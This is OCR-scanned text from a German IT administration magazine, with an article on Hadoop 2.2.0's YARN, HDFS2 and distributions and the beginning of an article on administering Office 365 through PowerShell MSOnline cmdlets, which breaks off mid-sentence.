Einsatz von Hadoop ist keinesfalls ein 

dickes Finanzpolster, sondern fehlendes 

Know-how. Im ersten Schritt 

gilt es, sich die günstige Datenverarbeitung 

und robuste Datensicherung 

n Big-Data-Applikationen mit Unterstützung für YARN 

Aus der effizienten Ressourcen-Verwaltung durch YARN kann eine Vielzahl von Applikationen bereits 

heute einen Nutzen ziehen (Abbildung 3). Die Liste YARN-optimierter Big-Data-Applikationen beinhaltet 

unter anderem Apache Giraph (Visualisierung), Apache Hama (BSP), Apache Hadoop Map- 

Reduce (Stapelverarbeitung von Daten), Apache Tex (Stapelverarbeitung und interaktive Jobs im 

Arbeitsspeicher), Apache S4/Samza/Storm (Echtzeitverarbeitung von Datenströmen), Apache Spark 

(iterative und interaktive Applikationen), Elastic Search, Cloudera Llama (eine YARN-Implementierung 

von Impala einer hybriden Ad-hoc-Abfrage-Engine mit Unterstützung für den SQL-Dialekt 

Hive QL), DataTorrent (Datenanalyse), HOYA (HBase auf YARN) und Red Point (Datenverwaltung). 

mit Hadoop zunutze zu machen. Erst 

nachdem das Unternehmen damit 

begonnen hat, die Früchte dieser Kostensenkungen 

zu ernten, kann es die 

eigenen Aktivitäten rund um die Datenanalyse 

ausbauen. Erst in dieser Phase 

macht es Sinn, Datenwissenschaftler 

zu beschäftigen, damit sie mithilfe von 

Datenanalyselösungen auf der Basis 

von Hadoop anspruchsvolleren Fragen 

nachgehen. 

MapReduce NextGen 

Die Änderungen in Hadoop 2.2.0 sind 

tiefgreifend und durchdacht. Den Innovationen 

liegt die Modularisierung 

der Engine zugrunde. Dieser gewagte 

Schritt soll das Hadoop-Ökosystem um 

Plug-ins und andere Erweiterungen 

bereichern. Er verspricht nebenbei 

auch zusätzliche Flexibilität für den 

Hadoop-Administrator. So kann der 

Admin einige eingebaute Algorithmen 

bereits heute durch externe Module 

ersetzen, um in den Genuss erweiterter 

Funktionalität zu kommen. Das betrifft 

zum Beispiel Shuffle und Sort. Diese 

Module lassen sich sogar parallel und 

zusammern mit den eingebauten Algorithmen 

nutzen. 

Zu den wichtigsten Neuerungen in der 

Version 2.2.0 zählt die Einführung von 

YARN (Yet Another Resource Negotiator) 

als optionalen Ersatz für MapReduce. 

MapReduce in Hadoop 1.x (Abbildung 

5) war nicht für alle Workloads 

optimal geeignet. Es läuft dort zur 

Höchstform auf, wo sich die Aufgaben 

klar aufteilen und parallelisieren lassen. 

Viele der Unzulänglichkeiten von 

MapReduce sind mit YARN passé. 

Bei YARN handelt es sich um eine 

Weiterentwicklung von MapReduce, 

MapReduce Version 2 (kurz: MRv2). 

Der Name wurde im Übrigen nicht rein 

zufällig gewählt. Die Aussprache von 

„YARN“ ähnelt dem englischen Wort 

„yearn“; dieses bedeutet so viel wie 

„etwas begehren“. 

YARN setzt direkt auf HDFS auf und 

übernimmt die Rolle eines verteilten 

Betriebssystems zur Ressourcen- 

Verwaltung für Big-Data-Applikationen 

(Abbildung 4). Dank YARN können 

Sie mit Hadoop 2.2.x interaktive 

Workloads, Echtzeit-Workloads und 


Know-how 

Hadoop 

69 

automatisierte Workloads ineinander 

verweben. Das Beste daran: YARN ist 

rückwärtskompatibel zu MapReduce 

auf der API-Ebene (hadoop-0.20.205) 

und verbessert nebenbei die Kompatibilität 

von Hadoop mit anderen 

Projekten der Apache Software Foundation. 

Wer unbedingt darauf besteht, 

MapReduce in der alten Ausführung 

zu nutzen, kann es jetzt als ein Modul 

laden. Das sollte allerdings nicht nötig 

sein, denn MapReduce-Applikationen 

sind binärkompatibel zwischen beiden 

Generationen von Hadoop. 

Die wichtigste Änderung in YARN gegenüber 

dem klassischen MapReduce 

ist die Zuteilung der zwei Funktionen 

des JobTrackers – der Ressourcen- 

Verwaltung und der Zeitverwaltung/ 

Workload-Überwachung – zu zwei 

separaten Daemons: dem globalen 

ResourceManager (RM) und dem Jobspezifischen 

ApplicationMaster (AM). 

Der ResourceManager besteht wiederum 

aus zwei Grundkomponenten: dem 

sogenannten Scheduler und dem ApplicationsManager. 

Der Scheduler verantwortet 

die Zuweisung von Ressourcen 

zu den verschiedenen laufenden Applikationen, 

fühlt sich aber für die Überwachung 

der Workloads nicht zuständig. 

Der Scheduler berücksichtigt sowohl 

den Ressourcen-Bedarf der einzelnen 

Applikationen als auch die Einschränkungen 

der Kapazitäten des Clusters. 

Abbildung 3: Applikationen mit Unterstützung für YARN in Hadoop 2.x: MapReduce ist jetzt ein Modul 

im User-Space, binärkompatibel mit Altlasten-Applikationen aus Hadoop 1.x. 

In der aktuellen Version kann der 

Scheduler leider nur eine Ressource 

verwalten: den Arbeitsspeicher. In 

künftigen Versionen von YARN soll es 

möglich sein, CPU-Zyklen, den Massenspeicher 

und die Netzwerkbandbreite 

des Clusters einzelnen Applikationen 

zuzuteilen. 

Die Zuteilung von Ressourcen erfolgt 

durch das Partitionieren des sogenannten 

Ressourcen-Containers, einer virtuellen 

Compute-Einheit in einem Knoten 

des Clusters. Ein Knoten kann im Übrigen 

über mehrere solche Container 

verfügen. Der ApplicationsManager (die 

zweite Grundkomponente des ResourceManagers 

neben dem Scheduler) 

nimmt Workload-Aufträge entgegen. 

Der ApplicationsManager initiiert hierzu 

die Einrichtung des ersten Ressourcen- 

Containers für den ApplicationMaster 

und startet diesen (beziehungsweise 

startet diesen nach einem Absturz neu). 

Der Applikations-gebundene ApplicationMaster 

fordert die benötigten 

Ressourcen-Container vom Scheduler

70 

Know-how 

Hadoop 

Abbildung 4: Die Architektur von Hadoop 2.x: Ressourcen-Verwaltung durch YARN basiert auf logischen Einheiten 

der sogenannten Ressourcen-Container; das Anfordern von Ressourcen ist nun von der Applikationslogik 

getrennt. 

an (der Scheduler ist Teil des ResourceManagers), 

und beginnt, sie zu überwachen. 

HDFS kennt zwei Typen von Servern 

oder Clusterknoten: Namenknoten 

(NameNodes) und Datenknoten (DataNodes). 

NameNodes verwalten Metadaten; 

die eigentlichen Datenblöcke 

werden auf den DataNodes vorgehalten. 

Für jeden Knoten des Clusters (also 

eine einzelne Maschine) zeichnet sein 

eigener NodeManager verantwortlich. 

Dieser überwacht die Verwendung der 

Ressourcen der Container und berichtet 

an den ResourceManager/Scheduler, 

was auf dem jeweiligen Knoten 

gerade vor sich geht. Die neue Architektur 

ermöglicht erhebliche Kosteneinsparungen 

(Abbildung 5). Yahoo schätzt 

die erzielten Verbesserungen der Node- 

Auslastung auf 60 bis 150 Prozent pro 

Tag. Yahoo testete YARN mit 365 PByte 

an Daten mit 400 000 Jobs auf 40 000 

Cluster-Nodes mit einer Gesamtrechenzeit 

von 10 Millionen Stunden. Eine 

Hochverfügbarkeitsimplementierung 

Abbildung 5: Zum Vergleich: In Hadoop 1.x werden die vorhandenen Ressourcen des Clusters hart partitioniert, 

was eine suboptimale Nutzung der verfügbaren Kapazitäten zur Folge hatte. Jobs, die sich nicht per »map« und 

»reduce« aufteilen ließen, liefen entsprechend langsam ab. 

des YARN-ResourceManagers 

ist für eine künftige 

Version geplant. 

HDFS2 

HDFS galt schon immer als 

zuverlässig. Im Einsatz bei 

Yahoo auf 20 000 Knoten in 

zehn Clustern ließ sich der 

Verlust von nur 650 verlorenen 

Datenblöcken von 

insgesamt 329 Millionen 

auf HDFS-Fehler zurückführen. 

Das war 2009. Seither 

hat die Apache Foundation 

an der Zuverlässigkeit von 

HDFS intensiv gefeilt. 

Trotz seiner Zuverlässigkeit 

hatte HDFS in Hadoop v1 

einen klaren Single-Pointof-Failure: 

den Namenknoten 

(NameNode), die 

Schaltzentrale zum Verwalten von 

Zugriffen auf Daten mithilfe von Metadaten. 

Zwar waren NameNodes redundant 

ausgelegt, jedoch ließen sie sich nur in 

einer Aktiv/Passiv-Node-Architektur betreiben. 

Beim Ausfall eines aktiven Namenknotens 

musste der Administrator 

die Konfiguration manuell anpassen. So 

konnte der Ausfall eines Namenknotens 

das ganze HDFS zum Erliegen bringen; 

aktuell laufende Schreibprozesse sowie 

Jobs in der Warteschlange wurden mit 

einer Fehlermeldung abgebrochen. 

Die Implementierung 

geschäftskritischer Workloads, 

die interaktiv in 

Echtzeit ablaufen müssen, 

war dadurch sehr problematisch. 

Die Hadoop-Entwickler 

haben sich des Problems 

angenommen und sich 

eine Lösung einfallen 

lassen: den Hochverfügbarkeits-Namenknoten 

(HA-Namenknoten). Der 

HA-Namenknoten wartet 

auf der sprichwörtlichen 

Reservebank und kann 

bei Bedarf für den aktiven 

Namenknoten einspringen. 

In Hadoop 2.0 lässt sich 

dieser sogenannte Failover 

dennoch nur durch einen 


Know-how 

Hadoop 

71 

manuellen Eingriff durch den Hadoop- 

Administrator auslösen. 

In Hadoop 1.0 war zusätzlich zu einem 

Namenknoten ein weiterer Knoten vorgesehen, 

der ihm sprichwörtlich über 

die Schultern schaute. Jetzt fällt diese 

Aufgabe dem HA-Namenknoten zu. 

HDFS-Federation 

Um den Namendienst horizontal zu 

skalieren, nutzt Hadoop 2.2.0 Federation 

mit mehreren völlig unabhängigen 

Namenknoten und Namensräumen. 

Die Namenknoten sind unabhängig, indem 

sie ihre Arbeit nicht koordinieren. 

Alle Namenknoten greifen unabhängig 

voneinander auf eine gemeinsame 

Sammlung von Datenknoten zu. Jeder 

dieser Datenknoten registriert sich bei 

allen Namenknoten des eigenen Clusters, 

sendet periodisch ein Heartbeat- 

Signal sowie Block-Berichte und nimmt 

Befehle entgegen. Eine Implementierung 

von Symlinks war zwar für diese 

Version geplant, wurde jedoch in der 

letzten Minute gestrichen. 

HDFS-Snapshots 

In Hadoop 2.x debütieren Snapshots des 

HDFS-Dateisystems: nicht-beschreibbare 

Kopien des Dateisystems, die seinen 

Zustand zu einem definierten Zeitpunkt 

erfassen (Point-in-Time Copy). 

Für einen HDFS-Snapshot werden 

keine DataNodes kopiert. Der Snapshot 

erfasst lediglich die Liste aller Datenblöcke 

und die Größe der Dateien. Der 

Vorgang hat keinen negativen Effekt 

auf sonstige I/O-Operationen. Änderungen 

werden in umgekehrter chronologischer 

Reihenfolge aufgezeichnet, 

sodass auf die aktuellen Daten direkt 

zugegriffen werden kann. Der Zustand 

der Daten für den Snapshot errechnet 

HDFS2 durch die Subtraktion betreffender 

Änderungen vom aktuellen Zustand 

des Dateisystems. 

Der Vorgang benötigt in der Regel auch 

keinen zusätzlichen Arbeitsspeicher 

(außer wenn gleichzeitig geschrieben 

wird). Um Snapshots zuzulassen, nutzt 

der Administrator den folgenden Befehl 

mit Berechtigungen des Superusers: 

hdfs dfsadmin ‐allowSnapshot U 

Pfad‐zum‐snapshotbaren‐Verzeichnis 

Abbildung 6: Der Hadoop-2.x-Stack mit Apache TEZ: Performance-Steigerung dank der Datenverarbeitung 

im Arbeitsspeicher des Clusters. 

Der betreffende Verzeichnisbaum kann 

dann mit den Benutzerrechten des 

Besitzers in einem Snapshot wie folgt 

erfasst werden: 

hdfs dfs ‐createSnapshot U 

Pfad‐zum‐snapshotbaren‐Verzeichnis U 

[] 

Alternativ kann man selbstverständlich 

auch vom Java-API Gebrauch machen. 

Um den Pfad zu Snapshots zu kennzeichnen, 

haben die Entwickler von 

HDFS2 den Objektnamen ».snapshot« 

vorgesehen. Falls in dem HDFS-Dateisystem 

Ihrer Hadoop-Installation diese 

Zeichenkette vorkommt, müssen Sie 

die betreffenden Objekte vor dem Upgrade 

unbedingt umbenennen, sonst 

schlägt es fehl. 

Die Distributionen 

Rund um Hadoop ist inzwischen ein 

ganzes Ökosystem spezialisierter 

Lösungen entstanden. Apaches Distribution 

von Hadoop adressiert primär 

Anbieter von Big-Data-Tools, die ihre 

eigenen (kommerziellen) Lösungen darauf 

aufsetzen. In diese Kategorie fallen 

unter anderem Cloudera, Hortonworks, 

IBM, SAP und EMC. 

Für den unternehmenskritischen Einsatz 

von Hadoop mag eine Hadoop- 

Distribution mit 24/7-Support eines 

Dienstleisters wie Cloudera [1] oder 

Hortonworks [2] tatsächlich vorteilhaft 

sein. Allerdings lassen sich diese 

Anbieter dafür fürstlich bezahlen. Wer 

einen Service-Vertrag nicht dringend 

benötigt, dem steht es frei, kostenlose 

Versionen dieser Distributionen zu nutzen. 

Darüber hinaus gibt es Hadoop- 

Distributionen, die speziell für kleinere 

bis mittelgroße Unternehmen geschaffen 

wurden, wie Stratosphere von der 

TU Berlin [3]. 

Stratosphere von der TU 

Berlin 

Stratosphere verbindet eine einfache 

Installation mit leichter Bedienbarkeit 

und einer hohen Performance. Die 

Plattform skaliert auch auf großen 

Clustern, nutzt Mehrkernprozessoren 

und unterstützt In-Memory-Datenverarbeitung. 

Sie verfügt außerdem über 

fortgeschrittene Analytikfunktionalität 

und erlaubt es dem Anwender sogar, 

die Aufträge in Java und Scala zu programmieren. 

Stratosphere wird in Deutschland unter 

der Federführung von Prof. Dr. Volker 

Markl an der TU Berlin im Fachgebiet 

Datenbanksysteme und Informationsmanagement 

(DIMA) entwickelt. Stratosphere 

läuft dabei sowohl on-premise 

als auch in der Cloud, also etwa auf 

Amazon EC2. 


Admin 

Ausgabe 02-2014

72 

Know-how 

Hadoop 

n Info 

Hadoop-Dienste 

Für den wachstumsorientierten Mittelstand 

gibt es inzwischen eine reiche 

Auswahl an Hadoop-Diensten. 

Amazon bietet mit Elastic MapReduce 

(EMR) eine Implementierung von Hadoop 

mit Unterstützung für Hadoop 2.2 

und HBase 0.94.7 sowie die MapR-M7-, 

M5- und M3-Hadoop-Distributionen 

von MapR Technologies an. Der Dienst 

adressiert Unternehmen, Forscher, Datenanalysten 

und Entwickler in den Bereichen 

Web-Indizierung, Data-Mining, 

Protokolldateianalyse, maschinelles 

Lernen, Finanzanalyse, wissenschaftliche 

Simulationen und bioinformatische 

Forschung. Kunden, die HBase implementieren 

möchten, bietet Elastic Map 

Reduce mit M7 nahtlose Splits ohne 

Komprimierung, sofortige Wiederherstellung 

nach Fehlern, Zeitpunktwiederherstellung, 

Full-HA, Spiegelung 

und konsistent geringe Latenzen. In 

dieser Ausführung fallen allerdings zusätzliche 

Kosten an. Auch Google (mit 

Compute Engine) und Microsoft (mit 

Azure) haben eigene Implementierungen 

von Hadoop im Köcher. 

Mit Hadoop als Service in der Wolke 

entfallen für die betroffenen Unternehmen 

Vorabinvestitionen für Hardware, 

die verzögerte Bereitstellung bestellter 

Infrastruktur und andere Auslagen. Ein 

gutes Beispiel ist dank der übersichtlichen 

Preisstruktur Amazon EMR. Mit 





[1] Hadoop-Distribution von Cloudera: [http:// 

www. cloudera. com/ content/ cloudera/ en/ 

products‐and‐services/ cdh. html] 

[2] Hadoop-Distribution von Hortonworks: 

[http:// hortonworks. com/ products/ 

hadoop‐support] 

[3] Hadoop-Distribution Stratosphere von der Technischen 

Universität Berlin: [https:// github. com/ 

stratosphere/ stratosphere] 

[4] Vergleich der Hadoop-Distributionen von 

MapR Technologies: [http:// www. mapr. com/ 

products/ mapr‐editions] 

Abbildung 7: Zum Vergleich: In Hadoop 

1.x waren alle Applikationen auf die Nutzung 

von MapReduce angewiesen. 

EMR können Sie einen Hadoop-Cluster 

bloß temporär einrichten, sodass er 

sich nach Abschluss der Analyse von 

selbst auflöst und Sie keine weiteren 

Kosten tragen. Die Preise beginnen bei 

0,015 Dollar pro Stunde für den EMR- 

Dienst pro Instanz zuzüglich der ebenfalls 

im Stundentakt anfallenden EC2- 

Kosten für jede Instanz des gewählten 

Typs (ab 0,06 Dollar pro Instanz). 

Für 100 Instanzen zahlen Sie also pro 

Stunde bis zu 1,50 Dollar für Hadoop 

(100 x 0,015 USD) und bis zu 6,00 Dollar 

für bis zu 100 laufende On-Demand- 

Instanzen (100 x 0,06 USD). Unterm 

Strich kommen Sie also mit 7,50 USD 

pro Stunde für 100 Small-Instanzen 

weg. Um die Kosten noch weiter zu 

drücken, könnte man diese Instanzen 

schließlich zusätzlich für bis zu drei 

Jahre reservieren. 

Nummerierung 

Hadoop-Entwickler haben sich mit 

der Wahl der Versionsnummern selbst 

keinen großen Gefallen getan. Wer 

beachtliche Entwicklungsschritte mit 

der zweiten Dezimalstelle einer Versionsnummer 

kennzeichnet – wie von 

Version 0.20 zur Version 0.23 – darf sich 

anschließend nicht wundern, wenn die 

Anwender von den Fortschritten kaum 

Notiz nehmen. 

Die Version 0.20 bezeichnet die erste 

Hadoop-Generation (v1.0, Abbildung 7). 

Wann immer vom 0.23-Zweig die Rede 

ist (Abbildung 6), geht es um Hadoop 

2.2.x. Die Versionsnummer 2.2.0 bezeichnet 

das erste Release der zweiten 

Generation mit der allgemeinen Verfügbarkeit. 

Ein Produkt der Enterprise-Klasse, das 

sich in der harten Praxis seit Jahren 

bewährt, hätte sich eigentlich eine 

höhere Versionsnummer verdient. Der 

scheinbar minimale Generationssprung 

auf die Version 2.2.0 trägt dem deutlich 

fortgeschrittenen Reifegrad von Hadoop 

kaum Rechnung. Der Qualität von 

Hadoop tut die zögerliche Nummerierung 

jedoch keinen Abbruch. 

Die steigende Bedeutung von Hadoop 

erkennt man unter anderem auch daran, 

dass zahlreiche prominente Anbieter 

ihre kommerziellen Lösungen an Hadoop 

anpassen. SAP verkauft die Intel- 

Distribution und die HortonWorks Data 

Platform für Hadoop. SAP Hana, eine 

Datenanalyseplattform für Big Data, integriert 

sich nahtlos mit Hadoop. 

DataStax liefert eine Distribution von 

Hadoop und Solr mit der eigenen 

NoSQL-Lösung DataStax Enterprise. 

Anwender von DataStax Enterprise 

nutzen Hadoop zur Datenverarbeitung, 

Apache Cassandra als eine Datenbank 

für transaktionale Daten und die Suchmaschine 

Solr für die verteilte Suche. 

Cassandra unterstützt im Übrigen das 

Ausführen von Hadoop-MapReduce- 

Jobs auf einem Cassandra-Cluster. 

Fazit 

Nach vier Jahren Entwicklungsarbeit 

überrascht Hadoop 2.2.0 seine Anwender 

mit bahnbrechenden Neuerungen. 

Dank der Modularisierung und einer 

HA-HDFS gelang es der Apache Foundation, 

den Abstand zu Alternativen zu 

halten oder sogar noch zu vergrößern. 

Dank der deutlich verbesserten Verwaltung 

von Workloads hat Hadoop 

eine ganz neue Anziehungskraft für den 

Mittelstand bekommen. Großunternehmen 

konnten sich die benötigten 

Zusatzfunktionen schon immer maßgeschneidert 

programmieren lassen, 

der Mittelstand war dagegen bisher mit 

der mühsamen Entwicklung schlicht 

überfordert. Das hat sich mit Hadoop 

2.2.0 nun glücklicherweise endgültig 

geändert. (jcb) n 


74 

Know-how 

Office 365 

Office 365 mit der Powershell verwalten 

Remote 

Office 

sellingpix, 123RF 

Microsoft bietet seine Office-Programme auch als Service 

in der Cloud an. Um den Dienst mit dem Namen Office 365 

in die eigene Infrastruktur zu integrieren, drängt sich die 

die Powershell als Helfer geradezu auf. Thomas Joos 

Unternehmen setzen immer häufiger 

auf Cloud-Dienste, wie sie Microsoft mit 

Office 365 anbietet. Die Verwaltung dieser 

Dienste erfolgt normalerweise über 

eine Webschnittstelle. Es gibt allerdings 

auch Erweiterungen für die Powershell, 

über die Administratoren somit Daten 

abrufen und Einstellungen vornehmen 

können. 

Damit Sie Office 365 in der Powershell 

verwalten können, müssen Sie zuerst 

zwei Erweiterungen herunterladen 

und installieren. Danach rufen Sie die 

normale Powershell auf und verbinden 

diese Sitzung mit Ihrem Office- 

365-Abonnement. Herunterladen 

und installieren müssen Sie zunächst 

den »Microsoft Online Services‐Anmelde‐Assistent« 

und »Windows Azure 

Active Directory‐Modul für Windows 

Powershell«. Die Downloads finden Sie 

auf den Seiten [1][2][3]. Achten Sie darauf, 

dass Sie die korrekte Version herunterladen, 

also »32 Bit« oder »64 Bit«. 

Außerdem muss auf dem Rechner das 

.NET-Framework mindestens in Version 

3.5.1 installiert sein. 

Sollten bei der Einrichtung und der 

Installation Probleme auftreten, liegt 

es in den meisten Fällen an Inkompatibilitäten 

zwischen dem Online- 

Services-Anmelde-Assistenten, dem 

Windows-Azure-Active-Directory-Modul 

für Windows Powershell und Ihrem Office-365-Abonnement. 

Installieren Sie 

immer die neuesten Versionen dieser 

Anwendungen von den erwähnten Seiten. 

Sie können die Einrichtung auch 

über Ihr Office-365-Portal im Software- 

Bereich vornehmen [4]. Treten Fehler 

auf, deinstallieren Sie die einzelnen Module 

in Windows über »appwiz.cpl« und 

installieren Sie danach die aktuellen 

Versionen neu. 

Gelingt die Anmeldung an Office 365 

immer noch nicht, liegt es in den 

meisten Fällen an Problemen mit dem 

Microsoft-Online-Services-Anmelde- 

Assistent. Installieren Sie in diesem 

Fall entweder die aktuelle Beta-Version 

oder verwenden Sie die aktuelle offizielle 

Version von der Seite [5]. Achten 

Sie bei der Installation auch auf die korrekte 

Sprache. Beide Versionen können 

Sie nicht parallel auf einem Rechner betreiben. 

Sie müssen die andere Version 

immer deinstallieren (»appwiz.cpl«), 

bevor Sie den Nachfolger installieren. 

Starten Sie zum ersten Mal die Powershell 

als Administrator oder mit einer 

Verbindung zu Office 365 oder Windows 

Azure, müssen Sie noch die Ausführung 

der Skripte erlauben. Dazu geben Sie 

den Befehl »Set‐executionpolicy RemoteSigned« 

ein. 

Mit der Cloud verbinden 

Um die Commandlets zur Verwaltung 

von Office 365 zu importieren, geben 

Sie in der Powershell den Befehl »Import‐Module 

MSOnline« ein. Sie können 

den Befehl und später auch die Office- 

365-Commandlets natürlich auch in der 

Powershell-ISE verwenden. Damit Sie 

mit den Commandlets auf Ihr Office- 

365-Abonnement zugreifen können, 

müssen Sie sich zuerst bei Office 365 

anmelden und authentifizieren. Dazu 

dient das Commandlet »Connect‐Msol- 

Service«. Im folgenden Anmeldefenster 

geben Sie die E-Mail-Adresse und das 

Kennwort eines Office-365-Administrators 

ein. Sie erhalten keine Rückmeldung 

über die erfolgreiche Verbindung. 

Das Commandlet zeigt aber Fehler an, 

falls der Verbindungsversuch scheitern 

sollte. 


Know-how 

Office 365 

75 

Ein Vorteil bei der Verwendung der 

Powershell-ISE ist die eingebaute 

Hilfe. Wenn Sie ein Commandlet eingeben, 

blendet das Programm bereits 

mögliche Befehle und Optionen ein 

(Abbildung 1). Die meisten Befehle für 

die Verwaltung von Office 365 in der 

Powershell enthalten die Zeichenfolge 

»msol«. Wollen Sie eine Liste der vorhandenen 

Commandlets zur Verwaltung 

von Office 365 anzeigen, erreichen 

sie das über »get‐command *msol*«. 

Die Anmeldedaten für Office 365 können 

Sie in einer Variablen speichern. 

Geben Sie dazu zum Beispiel »$aut = 

Get‐Credential« ein. Im anschließend 

erscheinenden Dialog geben Sie die Anmeldedaten 

ein, die in der Variable landen. 

Der Befehl »Connect‐MsolService 

‐Credential $aut« stellt dann wieder die 

Verbindung her. 

Überblick 

Mit der Powershell gelangen Sie wesentlich 

schneller an wichtige Informationen 

als in der grafischen Oberfläche. 

»Get‐MsolDomain« zeigt die Domänen 

an, die Sie in Ihrem Office-365-Abonnement 

verwenden. Sie sehen hier 

auch den Status der Domäne, also ob 

sie von Office 365 verifiziert ist und 

verwaltet wird. »Get‐MsolDomainVerificationDNS« 

fragt Daten zur Domäne 

ab. Wenn alles ok ist, erhalten Sie keine 

Rückmeldung. Wenn die Domäne mit 

Ihrem Office-365-Abonnement nicht 

verbunden ist, erscheint eine Fehlermeldung. 

Sie können auch Domänen 

über die Powershell entfernen und 

Standarddomänen festlegen. Um 

Domänen zu löschen, müssen Sie zunächst 

die Standarddomäne ändern. 

Folgendes Beispiel zeigt die Änderungen: 

Set‐MsolDomain ‐Name contoso.U 

onmicrosoft.com ‐IsDefault 

Sobald Sie die Standarddomäne geändert 

habe, können Sie nicht mehr 

benötigte Domänen löschen: 

Remove‐MsolDomain ‐DomainName contoso.com 

Sie sollten aber niemals die Standarddomäne 

»Domäne.onmicrosoft.com« 

löschen, die teilweise 

von internen Diensten 

benötigt wird. Das 

gleiche gilt für »mail. 

Domäne.onmicrosoft. 

com«, die zum Beispiel 

vom Virenschutz 

Exchange Online Protection 

in Office 365 

verwendet wird. Das 

gilt auch bei Hybridbereitstellungen 

mit 

Exchange 2010/2013. 

Lizenzen 

Um Office 365 zu verwalten, müssen Sie 

erst einige wichtige Informationen zum 

entsprechenden Abonnement, den hinterlegten 

Benutzern und den gesetzten 

Einstellungen abrufen. Mit der wichtigste 

Punkt bei der Verwaltung von 

Office 365 sind sicherlich die Lizenzen. 

Diese verwalten Sie in der Weboberfläche 

im Bereich des Administrators über 

»Lizenzen«. 

In größeren Umgebungen können Sie 

die Verwaltung der Lizenzen delegieren, 

zum Beispiel an die Buchhaltung 

oder das Controlling. Das geht aber nur 

in größeren Editionen von Office 365. 

Dazu klicken Sie im Bereich »Lizenzen« 

auf »Einstellungen« und wählen 

»Benutzerverwaltungsadministrator« 

aus. Wählen Sie dort den Benutzer 

aus, der die Lizenzen verwalten soll. 

Dieser Benutzer kann dann auch in der 

Powershell die Lizenzen einsehen und 

verwalten. Mit der Powershell lassen 

sich zum Beispiel übersichtliche Tabellen 

anzeigen, was in der grafischen 

Oberfläche nicht geht. Alle verfügbaren 

Rollen in Ihrem Office-365-Abonnement 

und deren Funktion zeigen Sie in der 

Powershell mit »Get‐MsolRole« an. 

Denken Sie aber daran, dass die Benutzerrolle 

»Benutzerverwaltungsadministrator« 

weitere Rechte für die Benutzerverwaltung 

besitzt, zum Beispiel 

das Zurücksetzen von Kennwörtern. 

»Get‐MsolUser« kann Informationen Ihrer 

Benutzer anzeigen. 

Verwenden Sie, wie 

bei anderen Get-Commandlets 

auch, die 

Option »|ft«, erhalten 

Sie eine formatierte 

Abbildung 1: Die Powershell blendet bereits bei der Eingabe von Befehlen 

eine Hilfe ein. 

Tabelle, während »|fl« eine formatierte 

Liste anzeigt. Hinter der Option »|ft« 

oder »|fl« können Sie die Spalten festlegen, 

welche die Powershell anzeigen 

soll. Um zum Beispiel die lizenzierten 

Benutzer anzuzeigen, verwenden Sie 

den Befehl »get‐msoluser |ft UserPrincipalname, 

Displayname, *lic*« (Abbildung 

2). Mit der Option »‐Autosize« 

wird die Tabelle an das Fenster angepasst. 

In der Powershell können Sie aber auch 

das Lizenzmodell und die Office-365- 

Edition auslesen, die im Unternehmen 

eingesetzt wird. Hierfür verwenden 

Sie das Commandlet »Get‐MsolAccountSku«. 

Auch das Commandlet 

»Get‐MsolSubscription« zeigt weitere 

Informationen zum Abonnement an. 

Informationen zum Ansprechpartner, 

technischen E-Mails und weitere Daten 

erhalten Sie mit »Get‐MsolCompany- 

Information«. Um die Lizenzen eines 

bestimmten Benutzers zu verwalten, 

verwenden Sie: 

get‐msoluser ‐userprincipalnameU 

"UPN" | select licenses, islicensedU 

| fl 

Natürlich können Sie auch Lizenzen 

direkt zuweisen: 

set‐msoluserlicense ‐userprincipalnameU 

"UPN" ‐addlicenses "Lizenzname" 

Abbildung 2: In der Powershell können Sie die verwendeten Lizenzen 

Ihres Office-365-Abonnements anzeigen. 


Admin 

Ausgabe 02-2014

76 

Know-how 

Office 365 

Abbildung 3: In der Powershell stehen einige Befehle 

zur Verwaltung von Benutzern aus Office 365 zur 

Verfügung. 

Eine ausführliche Liste zu den Möglichkeiten 

von »Set‐MsolUserLicense« 

finden Sie in der Technet-Bibliothek [6]. 

Informationen zum Batch-Ändern von 

Lizenzen bietet die Seite [7]. 

Benutzer verwalten 

Neben den bereits erwähnten Commandlets 

gibt es weitere Befehle, mit 

denen Sie Benutzer in Office 365 anlegen, 

verwalten und löschen können. 

Die wichtigsten Commandlets in diesem 

Bereich sind: 

n »New‐MsolUser« – Anlegen eines 

neuen Benutzers. Um zum Beispiel 

Abbildung 4: Anzeigen der verfügbaren Befehle für Microsoft Online 

Backup in der Powershell. 

einen neuen Benutzer mit einem 

kurzen Befehl anzulegen, verwenden 

Sie »New‐MsolUser ‐UserPrincipal- 

Name "E‐Mail‐Adresse" ‐Display- 

Name "Anzeigename"«. Das Commandlet 

erzeugt das Passwort und 

zeigt es an. 

n »Remove‐MsolUser« – das Commandlet 

löscht den Benutzer und 

gibt die zugewiesenen Lizenzen frei. 

Danach darf sich der Benutzer noch 

30 Tage lang anmelden. 

n »Restore‐MsolUser« – der ursprüngliche 

Status des Benutzers wird 

wiederhergestellt. Das funktioniert 

bis zu 30 Tage nach der Löschung. 

Sie können Postfächer aber auch 

endgültig löschen und so eine Wiederherstellung 

verhindern. 

n »Set‐MsolUser« – Aktualisieren eines 

Benutzers und Ändern seiner Einstellungen. 

n »Set‐MsolUserPassword «– Ändern 

des Kennwortes. 

Alle Commandlets zum Verwalten von 

Benutzern sehen Sie mit »get‐command 

*msoluser*« (Abbildung 3). Die 

zur Administration von Gruppen verfügbaren 

Befehle zeigt »get‐command 

*msolgroup*« an. 

Wollen Sie zum Beispiel festlegen, dass 

für einen Benutzer das Kennwort nie 

ablaufen soll, verwenden Sie den Befehl 

»Set‐MsolUser ‐UserPrincipalName 

Benutzername ‐PasswordNeverExpires 

$True«. Ohne diese 

Option muss der entsprechende 

Benutzer 

sein Kennwort alle 

90 Tage ändern. Mit 

»$False« machen Sie 

diese Option wieder 

rückgängig. Es ist auch 

möglich, die komplexen 

Kennwörter für 

einen Benutzer zu aktivieren. 

Dazu dient die 

Option »‐StrongPasswordRequired«: 

Set‐MsolUser U 

‐UserPrincipalName U 

Benutzername U 

‐StrongPasswordRequiredU 

$True 

Mit »$False« deaktivieren Sie die Funktion 

wieder. 

Wie erwähnt bleibt ein Benutzer 30 

Tage im Papierkorb erhalten, wenn 

man ihn löscht, und lässt sich aus dem 

Papierkorb auch mit »Restore‐Msol- 

User« wiederherstellen. Der folgende 

Befehl zeigt gelöschte Postfächer an, 

die sich wiederherstellen lassen: 

Get‐MsolUser ‐ReturnDeletedUsersU 

| fl UserPrincipalName, ObjectID 

Wollen Sie jetzt einzelne Benutzer endgültig 

löschen, verwenden Sie dessen 

»ObjectID«: 

Get‐MsolUser ‐Remove‐MsolUser U 

‐ObjectID GUID ‐RemoveFromU 

RecycleBin ‐Force 

Wollen Sie nicht nur einzelne Benutzer 

